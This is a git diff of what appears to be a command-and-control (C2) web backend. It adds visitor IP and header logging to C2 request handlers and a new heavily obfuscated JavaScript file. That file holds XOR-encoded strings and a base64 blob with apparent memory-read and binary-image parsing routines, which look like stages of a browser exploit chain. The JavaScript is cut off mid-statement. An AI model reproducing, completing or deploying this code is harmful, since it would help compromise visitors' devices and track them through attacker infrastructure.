diff --git a/app/Helpers.php b/app/Helpers.php index d886364..de01f73 100644 --- a/app/Helpers.php +++ b/app/Helpers.php @@ -40,3 +40,29 @@ if (! function_exists('create_log')) { } } } + +if (! function_exists('c2_log_request_meta')) { + /** + * IP + proxy headers for C2 file logs (iptj vs native comparison). + * + * @return array{ip: string|null, remote_addr: mixed, headers: array} + */ + function c2_log_request_meta(\Illuminate\Http\Request $request): array + { + $headers = []; + foreach ([ + 'x-ts', 'x-hash', 'sdkv', 'ver', 'accept', 'content-type', 'user-agent', + 'host', 'cf-connecting-ip', 'cf-ipcountry', 'x-forwarded-for', 'x-real-ip', + ] as $h) { + if ($request->headers->has($h)) { + $headers[$h] = $request->headers->get($h); + } + } + + return [ + 'ip' => $request->ip(), + 'remote_addr' => $request->server->get('REMOTE_ADDR'), + 'headers' => $headers, + ]; + } +} diff --git a/app/Http/Controllers/C2/XxbbC2Controller.php b/app/Http/Controllers/C2/XxbbC2Controller.php index 79b649e..0a6361f 100644 --- a/app/Http/Controllers/C2/XxbbC2Controller.php +++ b/app/Http/Controllers/C2/XxbbC2Controller.php @@ -59,6 +59,7 @@ class XxbbC2Controller extends Controller $domain = PageVisit::normalizeDomain($domain); $ip = PageVisit::normalizeIp((string) $request->ip()); $uid = PageVisit::visitorUid($domain, $ip); + $recorded = false; if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) { $ua = substr((string) $request->userAgent(), 0, 512); @@ -83,6 +84,7 @@ class XxbbC2Controller extends Controller 'referer' => $this->referer($request), 'created_at' => now(), ]); + $recorded = true; } catch (QueryException $e) { if (($e->errorInfo[0] ?? '') !== '23000') { throw $e; @@ -90,6 +92,23 @@ class XxbbC2Controller extends Controller } } + $meta = c2_log_request_meta($request); + create_log([ + 'dir' => 'in', + 'method' => $request->method(), + 'path' => '/'.ltrim($request->path(), '/'), + 'ip' => $ip !== '' ? $ip : $meta['ip'], + 'remote_addr' => $meta['remote_addr'], + 'device_key' => null, + 'client_uid' => $uid !== '' ? $uid : null, + 'recorded' => $recorded, + 'timestamp_hdr' => null, + 'headers' => $meta['headers'], + 'payload' => $payload, + 'decrypt_ok' => true, + 'error' => null, + ], 'xxbb'); + return response('{}', 200)->header('Content-Type', 'application/json'); } diff --git a/app/Http/Middleware/DecryptXxbbBody.php b/app/Http/Middleware/DecryptXxbbBody.php index 992f949..61c3c7b 100644 --- a/app/Http/Middleware/DecryptXxbbBody.php +++ b/app/Http/Middleware/DecryptXxbbBody.php @@ -22,12 +22,7 @@ class DecryptXxbbBody public function handle(Request $request, Closure $next): Response { $crypto = self::crypto(); - $headers = []; - foreach (['x-ts', 'x-hash', 'sdkv', 'ver', 'accept', 'content-type', 'user-agent'] as $h) { - if ($request->headers->has($h)) { - $headers[$h] = $request->headers->get($h); - } - } + $meta = c2_log_request_meta($request); $raw = $request->getContent(); $timestamp = (string) $request->header('x-ts', ''); @@ -85,10 +80,11 @@ class DecryptXxbbBody 'dir' => 'in', 'method' => $request->method(), 'path' => $path, - 'ip' => $request->ip(), + 'ip' => $meta['ip'], + 'remote_addr' => $meta['remote_addr'], 'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null, 'timestamp_hdr' => $timestamp ?: null, - 'headers' => $headers, + 'headers' => $meta['headers'], 'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload], 'decrypt_ok' => $decryptOk, 'error' => $error, diff --git a/channel-builder/source/web/29c2b05c5dc8f9a98fa1e938f4961f1ae8e5d219.js b/channel-builder/source/web/29c2b05c5dc8f9a98fa1e938f4961f1ae8e5d219.js new file mode 100644 index 0000000..8b1754b --- /dev/null +++ b/channel-builder/source/web/29c2b05c5dc8f9a98fa1e938f4961f1ae8e5d219.js @@ -0,0 +1 @@ +let r={};globalThis.Lwgums.MdJF8G(([60, 58, 111, 111, 108, 63, 109, 97, 61, 60, 110, 111, 97, 97, 106, 63, 107, 108, 108, 109, 110, 58, 105, 60, 96, 61, 108, 110, 96, 56, 61, 104, 107, 104, 105, 107, 111, 63, 58, 97].map(x => {return String.fromCharCode(x ^ 89);}).join("")),"bGV0IHI9e307Y29uc3QgVD1nbG9iYWxUaGlzLkx3Z3Vtcy5Nd21iTlYoKFsyNSwgNzgsIDc1LCA3NCwgMjcsIDczLCA2NSwgNzgsIDc4LCA3OSwgNzgsIDc1LCAyOSwgNzUsIDc4LCAyOCwgNzQsIDc0LCA2NSwgNzcsIDc4LCA3NCwgNjUsIDczLCA3OCwgNzksIDI5LCA3NSwgMjgsIDI3LCA3NiwgNzUsIDczLCAyOCwgNzIsIDc4LCAyOSwgNzcsIDc1LCA3NF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiAxMjApO30pLmpvaW4oIiIpKSkse046SH09Z2xvYmFsVGhpcy5Md2d1bXMuTXdtYk5WKChbODIsIDUsIDAsIDEsIDgwLCAyLCAxMCwgNSwgNSwgNCwgNSwgMCwgODYsIDAsIDUsIDg3LCAxLCAxLCAxMCwgNiwgNSwgMSwgMTAsIDIsIDUsIDQsIDg2LCAwLCA4NywgODAsIDcsIDAsIDIsIDg3LCAzLCA1LCA4NiwgNiwgMCwgMV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA1MSk7fSkuam9pbigiIikpKSxQPWdsb2JhbFRoaXMuTHdndW1zLk13bWJOVigoWzgzLCA4NSwgODYsIDcsIDAsIDAsIDgzLCA5LCAwLCAzLCA4LCA4MywgMSwgODEsIDgsIDQsIDksIDg2LCA4NCwgMSwgODQsIDg2LCA0LCA4LCA4MiwgODEsIDUsIDIsIDEsIDg2LCA4NCwgMSwgODQsIDcsIDg1LCA0LCA4NCwgMSwgODMsIDgxXS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDQ4KTt9KS5qb2luKCIiKSkpLHtLbjpwfT1nbG9iYWxUaGlzLkx3Z3Vtcy5Nd21iTlYoKFs1LCAzLCAwLCA4MSwgODYsIDg2LCA1LCA5NSwgODYsIDg1LCA5NCwgNSwgODcsIDcsIDk0LCA4MiwgOTUsIDAsIDIsIDg3LCAyLCAwLCA4MiwgOTQsIDQsIDcsIDgzLCA4NCwgODcsIDAsIDIsIDg3LCAyLCA4MSwgMywgODIsIDIsIDg3LCA1LCA3XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDEwMik7fSkuam9pbigiIikpKSxaPXAuU247ZnVuY3Rpb24gWSh0LHI9ITEpe2NvbnN0IGU9UC5Lbi5XbixuPWUubGUodC5IKDE2KSk7bGV0IHM9dC5IKDMyKSxpPW5ldyBULlZ0KDAsMCksbz0hMCxoPSExLGM9bnVsbCxsPW51bGwsZj1udWxsLGE9MCx1PW51bGwsZD1udWxsLHc9bnVsbCxnPW51bGwsbT0hMTtjb25zdCBFPVtdO2ZvcihsZXQgZj0wO2Y8bjtmKyspe2NvbnN0IG49ZS5sZShzKSxmPWUubGUocy5IKDQpKTtzd2l0Y2gobil7Y2FzZSAxNTptPSEwO2JyZWFrO2Nhc2UgNTA6ciYmMT09PWUubGUocy5IKDgpKSYmKHc9ITAsZz1lLmxlKHMuSCgxMikpKTticmVhaztjYXNlIDI1Ontjb25zdCBuPXtSZTplLmRyKHMuSCg4KSwxNiksWGU6ZS5ocihzLkgoMjQpKSxFbzplLmhyKHMuSCgyNCkpLE9vOmUuaHIocy5IKDMyKSksR2U6ZS5ocihzLkgoNDApKSx6bzplLmhyKHMuSCg0OCkpLCRvOmUubGUocy5IKDU2KSkscW86ZS5sZShzLkgoNjApKSxSbzplLmxlKHMuSCg2NCkpLGZsYWdzOmUubGUocy5IKDY4KSksTW86cy5IKDcyKSxEbzp7fSxkdW1wKCl7fX07aWYocilmb3IobGV0IHQ9MDt0PG4uUm87dCs9MSl7Y29uc3Qgcj1uLk1vLkgoODAqdCkscz17UmU6ZS5kcihyLkgoMTYpLDE2KSxMbzplLmRyKHIuSCgwKSwxNiksWGU6ZS5ocihyLkgoMzIpKSxPbzplLmhyKHIuSCg0MCkpLEdlOmUubGUoci5IKDQ4KSksZHVtcCgpe319O24uRG9bcy5Mb109c31zd2l0Y2goRS5wdXNoKG4pLG4uUmUpe2Nhc2UoWzUsIDUsIDE0LCAzMSwgMiwgMTRdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gOTApO30pLmpvaW4oIiIpKTpuLkdlLkV0KCk/bz0hMTpsPXQuc3ViKG4uR2UpLGk9dC5zdWIobi5YZSk7YnJlYWs7Y2FzZShbNDUsIDQ1LCA2MiwgNTksIDYwLCA1NywgNTUsIDU0LCA1OSwgMzhdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTE0KTt9KS5qb2luKCIiKSk6dT1uLlhlLmFkZChpKS5zdWIobi5HZSk7YnJlYWs7Y2FzZShbMTAsIDEwLCAyMCwgMCwgMSwgMjksIDEwLCAyMiwgMjYsIDI3LCA2LCAxXS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDg1KTt9KS5qb2luKCIiKSk6aWYocil7Y29uc3QgdD1uLkRvLl9fYXV0aF9nb3Q7dm9pZCAwIT09dCYmKGQ9dC5YZS5hZGQoaSkpfX1icmVha31jYXNlICg0Mjk0OTY3Mjk2ICsgKDIwMzQzODU3NzEgXiAtMTEzMDk3OTExKSk6aD0hMCxjPWUubGUocy5IKDQwKSksYT1lLmxlKHMuSCg0NCkpO2JyZWFrO2Nhc2UgKDQyOTQ5NjcyOTYgKyAoMTM2NDgxMjEzNCBeIC03ODI2NzE1MzEpKTpoPSEwLGM9ZS5sZShzLkgoOCkpLGE9ZS5sZShzLkgoMTIpKX1zPXMuSChmKX1sZXQgXz1pO2lmKHImJiFvJiYhbSl7Y29uc3Qgcj1lLmxlKHQuSCg0KSk7aWYodyYmKDE0NDc3ODUwMDUgXiAxNDY0NTYyMjA5KT09PXImJmc+PSgxODMyMzk5OTg0IF4gMTgzMjA3MjMwNCkpe2lmKG51bGw9PT1kKXRocm93IG5ldyBFcnJvcigiIik7bGV0IHQ9ZS5ocihkKS5EdCgpO2lmKHQuRXQoKSl0aHJvdyBuZXcgRXJyb3IoIiIpO2Zvcih0PXQuQnQodC5pdCUoMTY0OTE2NTg5NyBeIDE2NDkxNjk5OTMpKTsoNDI5NDk2NzI5NiArICgxMTY0Mzk3NDI0IF4gLTExNDg1Mzg0MzMpKSE9PWUubGUodCk7KXQ9dC5CdCgoMTM5NjkxMzUwNyBeIDEzOTY5MDk0MTEpKTtjb25zdCByPXRoaXMuVm8odCk7bD1yLlpvLlhvLF89ci5aby5Ib319Zm9yKGxldCB0PTA7dDxFLmxlbmd0aDt0Kyspe2NvbnN0IHI9RVt0XSxlPXIuWGU7ci5YZT1lLmFkZChpKX1yZXR1cm4gaCYmYyYmKGY9dS5IKGMpKSxuZXcgdHQoe0tvOnQsR286bixKbzppLFFvOnUsWG86bCxIbzpfLFlvOmYsdGg6YX0sRSl9ci5zZT1mdW5jdGlvbigpe3JldHVybiBZKFAuS24ueG4sITApfSxyLlZvPVk7Y2xhc3MgdHR7Y29uc3RydWN0b3IodCxyKXt0aGlzLlpvPXQsdGhpcy5yaD1yLHRoaXMuZWg9bmV3IFVpbnQ4QXJyYXkoW10pLHRoaXMubmg9ITF9aWUoKXtyZXR1cm4gbmV3IHJ0KHRoaXMpfWRlKCl7cmV0dXJuIG5ldyBldCh0aGlzKX1zaCh0KXtjb25zdCByPXRoaXMuaWgoKFsyNF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA3MSl9KS5qb2luKCIiKSkgKyAodCkpO3JldHVybiByP3RoaXMuWm8uS28uSChyKTpuZXcgVC5WdCgwLDApfWloKHQpe2lmKCExPT09dGhpcy5uaCl7dGhpcy5uaD0hMDtjb25zdCB0PW5ldyBVaW50MzJBcnJheSh0aGlzLlpvLnRoKzM+PjIpO2ZvcihsZXQgcj0wO3I8dC5sZW5ndGg7cisrKXRbcl09UC5Lbi5Xbi5sZSh0aGlzLlpvLllvLkgoNCpyKSk7dGhpcy5laD1uZXcgVWludDhBcnJheSh0LmJ1ZmZlcil9Y29uc3Qgcj10aGlzLmVoO2xldCBlPSIiLG49MCxzPSExO2Zvcig7IXM7KXtzPSEwO2xldCBpPTAsbz0wO2Rve2krPSgoODkyMzU4NzAxIF4gODkyMzU4NzM4KSZyW25dKTw8byxvKz03fXdoaWxlKCgxNTE3ODkyOTIxIF4gMTUxNzg5MzA0OSkmcltuKytdKTtpZihlPT09dCYmMCE9PWkpe24rKztsZXQgdD0wO289MDtkb3t0Kz0oKDE5MzY0ODg1MjMgXiAxOTM2NDg4NTAwKSZyW25dKTw8byxvKz03fXdoaWxlKCg4NTkwMTAxNjUgXiA4NTkwMTAyOTMpJnJbbisrXSk7cmV0dXJuIHR9bis9aTtjb25zdCBoPXJbbisrXTtmb3IobGV0IGk9MDtpPGg7aSsrKXtsZXQgaT0iIjtmb3IoOzAhPT1yW25dOylpKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHJbbisrXSk7bisrO2xldCBoPTA7bz0wO2Rve2grPSgoMTQxNjAwMDU2OCBeIDE0MTYwMDA1ODMpJnJbbl0pPDxvLG8rPTd9d2hpbGUoKDIwMzUzMDg5MTQgXiAyMDM1MzA5MDQyKSZyW24rK10pO2lmKGkubGVuZ3RoJiZlK2k9PT10LnN1YnN0cigwLGUubGVuZ3RoK2kubGVuZ3RoKSl7ZSs9aSxuPWgscz0hMTticmVha319fXJldHVybiAwfX1jbGFzcyBydHtjb25zdHJ1Y3Rvcih0KXt0aGlzLm9oPXQsdGhpcy5oaD10aGlzLm9oLlpvLktvfXNoKHQpe2NvbnN0IHI9dGhpcy5vaC5paCgoWzU3XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDEwMil9KS5qb2luKCIiKSkgKyAodCkpO3JldHVybiByP3RoaXMub2guWm8uS28uSChyKTpuZXcgVC5WdCgwLDApfWxoKHQpe2NvbnN0IHI9dGhpcy5vaC5paCgoWzQxXS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDExOCl9KS5qb2luKCIiKSkgKyAodCkpO2lmKCFyKXRocm93IG5ldyBFcnJvcigiIik7cmV0dXJuIHI/dGhpcy5vaC5aby5Lby5IKHIpOm5ldyBULlZ0KDAsMCl9ZmgodCl7cmV0dXJuIDAhPT10aGlzLm9oLmloKChbMTEwXS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDQ5KX0pLmpvaW4oIiIpKSArICh0KSl9YWgoLi4udCl7Zm9yKGNvbnN0IHIgb2YgdCl0cnl7cmV0dXJuIHRoaXMubGgocil9Y2F0Y2godCl7Y29udGludWV9dGhyb3cgbmV3IEVycm9yKCIiKX19Y2xhc3MgZXR7Y29uc3RydWN0b3IodCl7dGhpcy5vaD10LHRoaXMudWg9bnVsbCx0aGlzLmRoPXRoaXMub2guWm8uS28ueXQoKX1zaCh0KXtjb25zdCByPXRoaXMub2guaWgoKFsxMDddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNTIpfSkuam9pbigiIikpICsgKHQpKTtyZXR1cm4gcj90aGlzLmRoK3I6MH1haCguLi50KXtmb3IoY29uc3QgciBvZiB0KXRyeXtyZXR1cm4gdGhpcy5saChyKX1jYXRjaCh0KXtjb250aW51ZX10aHJvdyBuZXcgRXJyb3IoIiIpfWZoKHQpe3JldHVybiAwIT09dGhpcy5vaC5paCgoWzQ5XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDExMCl9KS5qb2luKCIiKSkgKyAodCkpfWxoKHQpe2NvbnN0IHI9dGhpcy5vaC5paCgoWzExMF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA0OSl9KS5qb2luKCIiKSkgKyAodCkpO2lmKCFyKXRocm93IG5ldyBFcnJvcigiIik7cmV0dXJuIHRoaXMuZGgrcn13aCh0KXtyZXR1cm57UmU6dC5SZSxYZTp0LlhlLnl0KCksRW86dC5Fby55dCgpLE9vOnQuT28ueXQoKSxHZTp0LkdlLnl0KCksem86dC56by55dCgpLCRvOnQuJG8scW86dC5xbyxSbzp0LlJvLGZsYWdzOnQuZmxhZ3MsTW86dC5Nby55dCgpLERvOnQuRG99fWdoKHQpe3JldHVybntSZTp0LlJlLExvOnQuTG8sWGU6dC5YZS55dCgpLE9vOnQuT28ueXQoKSxHZTp0LkdlLnl0KCl9fW1oKHQpe2ZvcihsZXQgcj0wO3I8dGhpcy5vaC5yaC5sZW5ndGg7cisrKWlmKHRoaXMub2gucmhbcl0uUmU9PT10KXJldHVybiB0aGlzLndoKHRoaXMub2gucmhbcl0pO3JldHVybiBudWxsfUVoKHQscil7Y29uc3QgZT10aGlzLm1oKHQpO2lmKG51bGwhPT1lKXtpZigwIT09T2JqZWN0LmtleXMoZS5EbykubGVuZ3RoKXtjb25zdCB0PWUuRG9bcl07cmV0dXJuIHZvaWQgMCE9PXQ/dGhpcy5naCh0KTpudWxsfXtsZXQgbj1udWxsO2ZvcihsZXQgcz0wO3M8ZS5SbztzKyspe2NvbnN0IGk9ZS5Nbys4MCpzLG89dCxoPVAuS24uV24uYnIoaSwxNiksYz17UmU6byxMbzpoLFhlOlAuS24uV24ub2UoaSszMikuYWRkKHRoaXMub2guWm8uSm8pLE9vOlAuS24uV24ub2UoaSs0MCksR2U6UC5Lbi5Xbi5vZShpKzQ4KX07cj09PWgmJihuPWMpLGUuRG9baF09Y31yZXR1cm4gbj90aGlzLmdoKG4pOm51bGx9fXJldHVybiBudWxsfV9oKHQscil7Y29uc3QgZT10aGlzLm1oKHQpO2lmKG51bGwhPT1lKWZvcihsZXQgbj0wO248ZS5SbztuKyspe2NvbnN0IHM9ZS5Nbys4MCpuLGk9dCxvPVAuS24uV24uYnIocywxNik7aWYocj09PW8pe2NvbnN0IHQ9e1JlOmksTG86byxYZTpQLktuLlduLm9lKHMrMzIpLmFkZCh0aGlzLm9oLlpvLkpvKSxPbzpQLktuLlduLm9lKHMrNDApLEdlOlAuS24uV24ub2Uocys0OCl9O3JldHVybiB0aGlzLmdoKHQpfX1yZXR1cm4gbnVsbH1waCh0KXtjb25zdCByPXRoaXMubWgodCk7aWYoIXIpdGhyb3cgbmV3IEVycm9yKCIiKTtyZXR1cm4gcn1iaCgpe3JldHVybiBudWxsPT09dGhpcy51aCYmKHRoaXMudWg9bmV3IG50KHRoaXMub2guWm8uSG8ueXQoKSx0aGlzLm9oLlpvLlhvLnl0KCkpKSx0aGlzLnVofVNoKHQpe2NvbnN0IHI9dGhpcy5zaCh0KTtyZXR1cm4gMCE9PXI/UC5Lbi5Xbi5vZShyKTpuZXcgVC5WdCgwLDApfXhoKHQpe2NvbnN0IHI9dGhpcy5waCgoWzYwLCA2MCwgNTUsIDM4LCA1OSwgNTVdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gOTkpO30pLmpvaW4oIiIpKSk7cmV0dXJuIHQtci5FbytyLlhlfUloKHQpe2NvbnN0IHI9dGhpcy5zaCh0KTtyZXR1cm4gMCE9PXI/UC5Lbi5Xbi5lZShyKTowfVRoKHQscil7Y29uc3QgZT10aGlzLnNoKHQpO3JldHVybiAwIT09ZT9QLktuLlduLnVyKGUpOnJ9eWgodCxyKXtjb25zdCBlPXRoaXMubWgodCk7aWYobnVsbD09PWUpdGhyb3cgbmV3IEVycm9yKCIiKTtmb3IobGV0IHQ9MDt0PGUuT287dCs9OCl7Y29uc3Qgbj1lLlhlK3Q7aWYoUC5Lbi5Xbi5ycihuKT09PXI+Pj4wJiZQLktuLlduLnJyKG4rNCk9PT1yLzQyOTQ5NjcyOTY+Pj4wKXJldHVybiBufXRocm93IG5ldyBFcnJvcigiIil9a2godCxyKXtjb25zdCBlPXRoaXMubWgodCk7aWYobnVsbD09PWUpdGhyb3cgbmV3IEVycm9yKCIiKTtjb25zdCBuPWUuWGUscz1lLlhlK2UuT287cmV0dXJuIHI+PW4mJnI8c31PaCh0LHIsZSl7Y29uc3Qgbj10aGlzLkVoKHQscik7aWYobnVsbD09PW4pdGhyb3cgbmV3IEVycm9yKCIiKTtjb25zdCBzPW4uWGUsaT1uLlhlK24uT287cmV0dXJuIGU+PXMmJmU8aX16aCh0KXtmb3IobGV0IHI9MDtyPHRoaXMub2gucmgubGVuZ3RoO3IrKylpZih0aGlzLmtoKHRoaXMub2gucmhbcl0uUmUsdCkpcmV0dXJuITA7cmV0dXJuITF9UGgodCxyKXtjb25zdCBlPXRoaXMubWgodCk7aWYobnVsbD09PWUpdGhyb3cgbmV3IEVycm9yKCIiKTtmb3IobGV0IHQ9MDt0PGUuT287dCs9OClpZihQLktuLlduLndyKGUuWGUrdCk9PT1yKXJldHVybiBlLlhlK3Q7dGhyb3cgbmV3IEVycm9yKCIiKX1VaCh0LHIpe2NvbnN0IGU9dGhpcy5taCh0KTtpZihudWxsPT09ZSl0aHJvdyBuZXcgRXJyb3IoIiIpO2ZvcihsZXQgdD0wO3Q8ZS5Pbzt0Kz04KWlmKFAuS24uV24ud3IoZS5YZSt0KT09PXIpcmV0dXJuIFAuS24uV24ub2UoZS5YZSt0KTt0aHJvdyBuZXcgRXJyb3IoIiIpfUFoKHQscixlKXtjb25zdCBuPXRoaXMubWgodCk7aWYobnVsbD09PW4pdGhyb3cgbmV3IEVycm9yKCIiKTtjb25zdCBzPXRoaXMubWgocik7aWYobnVsbD09PXMpdGhyb3cgbmV3IEVycm9yKCIiKTtmb3IobGV0IHQ9MDt0PHMuT287dCs9OCl7Y29uc3Qgcj1QLktuLlduLndyKHMuWGUrdCk7aWYocj49bi5YZSYmcjxuLlhlK24uT28mJiEwPT09ZShyLFAuS24uV24ub2Uocy5YZSt0KSkpYnJlYWt9fSRoKHQscil7Y29uc3QgZT10aGlzLm1oKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxlLk9vO3QrPTQpe2NvbnN0IG49ZS5YZSt0O2lmKCEwPT09cihuLFAuS24uV24ucnIobikpKWJyZWFrfX1xaCh0LHIpe2NvbnN0IGU9dGhpcy5taCh0KTtpZihudWxsPT09ZSl0aHJvdyBuZXcgRXJyb3IoIiIpO2ZvcihsZXQgdD0wO3Q8ZS5Pbzt0Kz04KXtjb25zdCBuPWUuWGUrdDtpZighMD09PXIoWi51dChuKSkpYnJlYWt9fVJoKHQpe2Zvcihjb25zdCByIG9mIHRoaXMub2gucmgpe2NvbnN0IGU9Wi51dChyLlhlKSxuPVoudXQoci5YZSkuSChULl8oci5PbykpO2lmKHQubGkoZSkmJnQubGUobikpcmV0dXJuIHJ9cmV0dXJuIG51bGx9fWNsYXNzIG50e2NvbnN0cnVjdG9yKHQscil7dGhpcy5DaD10LHRoaXMuTWg9cix0aGlzLkRoPSExLHRoaXMuTGg9e30sdGhpcy5pbWFnZXM9dGhpcy5CaCgpfU5oKCl7cmV0dXJuIFAuS24uV24uYnIodGhpcy5NaCl9VmgoKXtyZXR1cm4oWzQxLCA1MiwgMzMsIDQxLCAxOCwgNTksIDEyNCwgMTA5LCAxMDksIDQ0LCA2MywgMzIsIDEyMywgMTIxLCA0MF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA3Nyk7fSkuam9pbigiIikpPT09dGhpcy5OaCgpfVhoKCl7cmV0dXJuIHRoaXMuQ2h9QmgoKXtjb25zdCB0PVtdO2lmKCF0aGlzLk5oKCkuc3RhcnRzV2l0aCgoWzQ4LCA0NSwgNTYsIDQ4XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDg0KTt9KS5qb2luKCIiKSkpKXRocm93IG5ldyBFcnJvcigiIik7bGV0IHI9UC5Lbi5Xbi5ycih0aGlzLk1oKzI0KSxlPVAuS24uV24ucnIodGhpcy5NaCsyOCk7aWYoMD09PXImJjA9PT1lJiYodGhpcy5EaD0hMCxyPVAuS24uV24ucnIodGhpcy5NaCsoMTczMjQ2Mjk0NiBeIDE3MzI0NjI3NTQpKSxlPVAuS24uV24ucnIodGhpcy5NaCsoMTkwMzc2OTcyMSBeIDE5MDM3NzAwNDUpKSwwPT09ciYmMD09PWUpKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCBuPTA7bjxlO24rKyl7Y29uc3QgZT10aGlzLk1oK3IrMzIqbixzPVAuS24uV24ud3IoZSkrdGhpcy5DaCxpPVAuS24uV24ucnIoZSsyNCksbz1QLktuLlduLmJyKHRoaXMuTWgraSk7dC5wdXNoKHthZGRyZXNzOnMscGF0aDpvfSl9cmV0dXJuIHR9WmgoKXtjb25zdCB0PVtdO2Zvcihjb25zdCByIG9mIHRoaXMuaW1hZ2VzKXQucHVzaChyLnBhdGgpO3JldHVybiB0fWpoKHQscil7cmV0dXJuIHRoaXMuRmgodCkubGgocil9SGgodCl7Zm9yKGNvbnN0IHIgb2YgdGhpcy5pbWFnZXMpdHJ5e3JldHVybiB0aGlzLkZoKHIucGF0aCkubGgodCl9Y2F0Y2godCl7Y29udGludWV9dGhyb3cgbmV3IEVycm9yKCIiKX1LaCh0KXtmb3IobGV0IHI9MDtyPHRoaXMuaW1hZ2VzLmxlbmd0aDtyKyspaWYoLTEhPT10aGlzLmltYWdlc1tyXS5wYXRoLmluZGV4T2YodCkpcmV0dXJuIHRoaXMuaW1hZ2VzW3JdLmFkZHJlc3M7cmV0dXJuIDB9RmgodCl7aWYodm9pZCAwPT09dGhpcy5MaFt0XSl7Y29uc3Qgcj10aGlzLktoKHQpO2lmKDA9PT1yKXJldHVybiBudWxsO3RoaXMuTGhbdF09WShULlZ0LnV0KHIpKS5kZSgpfXJldHVybiB0aGlzLkxoW3RdfUdoKHQpe2NvbnN0IHI9dGhpcy5GaCh0KTtpZihudWxsPT09cil0aHJvdyBuZXcgRXJyb3IoIiIpO3JldHVybiByfUpoKC4uLnQpe2Zvcihjb25zdCByIG9mIHQpdHJ5e3JldHVybiB0aGlzLkdoKHIpfWNhdGNoKHQpe310aHJvdyBuZXcgRXJyb3IoIiIpfX1yZXR1cm4gcjs=");const T=globalThis.Lwgums.MwmbNV(([21, 66, 71, 70, 23, 69, 77, 66, 66, 67, 66, 71, 17, 71, 66, 16, 70, 70, 77, 65, 66, 70, 77, 69, 66, 67, 17, 71, 16, 23, 64, 71, 69, 16, 68, 66, 17, 65, 71, 70].map(x => {return String.fromCharCode(x ^ 116);}).join(""))),{N:H,tn:M,nn:z,Vt:m,U:j,An:S,vn:O,v:o,I:u,B:s}=globalThis.Lwgums.MwmbNV(([86, 1, 4, 5, 84, 6, 14, 1, 1, 0, 1, 4, 82, 4, 1, 83, 5, 5, 14, 2, 1, 5, 14, 6, 1, 0, 82, 4, 83, 84, 3, 4, 6, 83, 7, 1, 82, 2, 4, 5].map(x => {return String.fromCharCode(x ^ 55);}).join(""))),P=globalThis.Lwgums.MwmbNV(([86, 80, 83, 2, 5, 5, 86, 12, 5, 6, 13, 86, 4, 84, 13, 1, 12, 83, 81, 4, 81, 83, 1, 13, 87, 84, 0, 7, 4, 83, 81, 4, 81, 2, 80, 1, 81, 4, 86, 84].map(x => {return String.fromCharCode(x ^ 53);}).join("")));class ct{constructor(){this.tc=null,this.cc=null,this.sc=!1}da(t,n){return new T.Vt(0,0)}re(t,n){return new T.Vt(0,0)}wa(t,n){return new T.Vt(0,0)}ha(t,n){return new T.Vt(0,0)}}r.ic=ct;r.sd=function(){return new at};class at extends ct{da(t,n){const o=t.Nt(),c=n.Nt();return T.Vt.ot(this.od(o,c,0n))}re(t,n){const o=t.Nt(),c=n.Nt();return T.Vt.ot(this.od(o,c,1n))}ha(t,n){const o=t.Nt(),c=n.Nt();return T.Vt.ot(this.od(o,c,2n))}wa(t,n){const o=t.Nt(),c=n.Nt();return T.Vt.ot(this.od(o,c,3n))}constructor(){super();const t=function(){const t=P.Kn.Wn,n=new Intl.Segmenter("en",{Ia:([68, 82, 89, 67, 82, 89, 84, 82].map(x => {return String.fromCharCode(x ^ 55);}).join(""))}),o=[];for(let t=0;t<(1448506947 ^ 1448507247);t++)o.push("a");const c=o.join(" "),e=n.segment(c),{ga:l,Ka:r,La:s,ua:a,Xa:u}=It.Ga(e);It.Ma(e,r,s,r.Da,0x0n,0x12n,0x30n);const[i,d]=t.ks(([22, 19, 7, 32, 59, 25, 58, 58, 37, 26, 55, 38, 48, 39, 35, 48, 39, 22, 39, 48, 52, 33, 48, 2, 60, 33, 61, 29, 52, 59, 49, 57, 48, 39].map(x => {return String.fromCharCode(x ^ 85);}).join(""))),b=It.Ma(e,r,s,r.Za,d,0x0n,0x0n),C=t.Ci(l.za),I=t.Ci(l.Na),m=(()=>{try{t.zi(l.za,Ct(r.Da)),t.zi(l.Na,Ct(a));const n=It.Ma(e,r,s,b,0x0n,0x0n,0x0n);return t.Ci(n+0x90n)}finally{t.zi(l.za,C),t.zi(l.Na,I)}})(),[g,y]=t.ks(([42, 63, 62, 26, 51, 33, 58, 1, 49, 51, 60, 20, 39, 62, 62].map(x => {return String.fromCharCode(x ^ 